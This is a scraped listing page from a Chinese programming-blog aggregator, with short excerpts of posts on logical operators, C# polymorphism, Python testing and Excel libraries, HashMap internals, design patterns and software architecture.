    uj5u.com 2020-09-10 05:35:54 more
  • 6.1邏輯運算子

    邏輯運算子 1. && 短路與 運算式1 && 運算式2 01.運算式1為true并且運算式2也為true 整體回傳為true 02.運算式1為false,將不會執行運算式2 整體回傳為false 03.只要有一個運算式為false 整體回傳為false 2. || 短路或 運算式1 || 運算式2 ......

    uj5u.com 2020-09-10 05:35:56 more
  • BUAAOO 第四單元 & 課程總結

    1. 第四單元:StarUml檔案決議 本單元采用了圖模型決議UML。 UML檔案可以抽象為圖、子圖、邊的邏輯結構。 在實作中,圖的節點包括類、介面、屬性,子圖包括狀態圖、順序圖等。 采用了三次遍歷UML元素的方法建圖,第一遍遍歷建點,第二、三次遍歷設定屬性、連邊,實作圖物件的初始化。這里借鑒了一些 ......

    uj5u.com 2020-09-10 05:36:06 more
  • 談談我對C# 多型的理解

    面向物件三要素:封裝、繼承、多型。 封裝和繼承,這兩個比較好理解,但要理解多型的話,可就稍微有點難度了。今天,我們就來講講多型的理解。 我們應該經常會看到面試題目:請談談對多型的理解。 其實呢,多型非常簡單,就一句話:呼叫同一種方法產生了不同的結果。 具體實作方式有三種。 一、多載 多載很簡單。 p ......

    uj5u.com 2020-09-10 05:36:09 more
  • Python 資料驅動工具:DDT

    背景 python 的unittest 沒有自帶資料驅動功能。 所以如果使用unittest,同時又想使用資料驅動,那么就可以使用DDT來完成。 DDT是 “Data-Driven Tests”的縮寫。 資料:http://ddt.readthedocs.io/en/latest/ 使用方法 dd. ......

    uj5u.com 2020-09-10 05:36:13 more
  • Python里面的xlrd模塊詳解

    那我就一下面積個問題對xlrd模塊進行學習一下: 1.什么是xlrd模塊? 2.為什么使用xlrd模塊? 3.怎樣使用xlrd模塊? 1.什么是xlrd模塊? ?python操作excel主要用到xlrd和xlwt這兩個庫,即xlrd是讀excel,xlwt是寫excel的庫。 今天就先來說一下xl ......

    uj5u.com 2020-09-10 05:36:28 more
  • 當我們創建HashMap時,底層到底做了什么?

    jdk1.7中的底層實作程序(底層基于陣列+鏈表) 在我們new HashMap()時,底層創建了默認長度為16的一維陣列Entry[ ] table。當我們呼叫map.put(key1,value1)方法向HashMap里添加資料的時候: 首先,呼叫key1所在類的hashCode()計算key1 ......

    uj5u.com 2020-09-10 05:36:38 more
最新发布
  • 【中介者設計模式詳解】C/Java/JS/Go/Python/TS不同語言實作

    * 中介者模式是一種行為型設計模式,它可以用來減少類之間的直接依賴關系,
    * 將物件之間的通信封裝到一個中介者物件中,從而使得各個物件之間的關系更加松散。
    * 在中介者模式中,物件之間不再直接相互互動,而是通過中介者來中轉訊息。 ......

    uj5u.com 2023-04-20 08:20:47 more
  • 露天煤礦現場調研和交流案例分享

    他們集團的資訊化公司及研究院在一個礦區正在做智能礦山的統一平臺的 試點,專案投資大概1億,包括了礦山的各方面的內容,顯示得我們這次交流有點多余。他們2年前開始做智能礦山的規劃,有很多煤礦行業專家的加持,他們的描述是非常完美,但是去年底應該上線的平臺,現在還沒有看到影子。他們確實有很多場景需求,但是被... ......

    uj5u.com 2023-04-20 08:20:25 more
  • 《社區人員管理》實戰案例設計&個人案例分享

    設計是一個讓人夢想成真程序,開始編碼、測驗、除錯之前進行需求分析和架構設計,才能保證關鍵方面都做正確 ......

    uj5u.com 2023-04-20 08:20:17 more
  • 軟體架構生態化-多角色交付的探索實踐

    作為一個技術架構師,不僅僅要緊跟行業技術趨勢,還要結合研發團隊現狀及痛點,探索新的交付方案。在日常中,你是否遇到如下問題 “ 業務需求排期長研發是瓶頸;非研發角色感受不到研發技改提效的變化;引入ISV 團隊又擔心質量和安全,培訓周期長“等等,基于此我們探索了一種新的技術體系及交付方案來解決如上問題。 ......

    uj5u.com 2023-04-20 08:20:10 more
  • 【中介者設計模式詳解】C/Java/JS/Go/Python/TS不同語言實作

    * 中介者模式是一種行為型設計模式,它可以用來減少類之間的直接依賴關系,
    * 將物件之間的通信封裝到一個中介者物件中,從而使得各個物件之間的關系更加松散。
    * 在中介者模式中,物件之間不再直接相互互動,而是通過中介者來中轉訊息。 ......

    uj5u.com 2023-04-20 08:19:44 more
  • 露天煤礦現場調研和交流案例分享

    他們集團的資訊化公司及研究院在一個礦區正在做智能礦山的統一平臺的 試點,專案投資大概1億,包括了礦山的各方面的內容,顯示得我們這次交流有點多余。他們2年前開始做智能礦山的規劃,有很多煤礦行業專家的加持,他們的描述是非常完美,但是去年底應該上線的平臺,現在還沒有看到影子。他們確實有很多場景需求,但是被... ......

    uj5u.com 2023-04-20 08:19:07 more
  • 《社區人員管理》實戰案例設計&個人案例分享

    設計是一個讓人夢想成真程序,開始編碼、測驗、除錯之前進行需求分析和架構設計,才能保證關鍵方面都做正確 ......

    uj5u.com 2023-04-20 08:18:57 more
  • 軟體架構生態化-多角色交付的探索實踐

    作為一個技術架構師,不僅僅要緊跟行業技術趨勢,還要結合研發團隊現狀及痛點,探索新的交付方案。在日常中,你是否遇到如下問題 “ 業務需求排期長研發是瓶頸;非研發角色感受不到研發技改提效的變化;引入ISV 團隊又擔心質量和安全,培訓周期長“等等,基于此我們探索了一種新的技術體系及交付方案來解決如上問題。 ......

    uj5u.com 2023-04-20 08:18:49 more
  • 05單件模式

    #經典的單件模式 public class Singleton { private static Singleton uniqueInstance; //一個靜態變數持有Singleton類的唯一實體。 // 其他有用的實體變數寫在這里 //構造器宣告為私有,只有Singleton可以實體化這個類! ......

    uj5u.com 2023-04-19 08:42:51 more
  • 【架構與設計】常見微服務分層架構的區別和落地實踐

    軟體工程的方方面面都遵循一個最基本的道理:沒有銀彈,架構分層模型更是如此,每一種都有各自優缺點,所以請根據不同的業務場景,并遵循簡單、可演進這兩個重要的架構原則選擇合適的架構分層模型即可。 ......

    uj5u.com 2023-04-19 08:42:41 more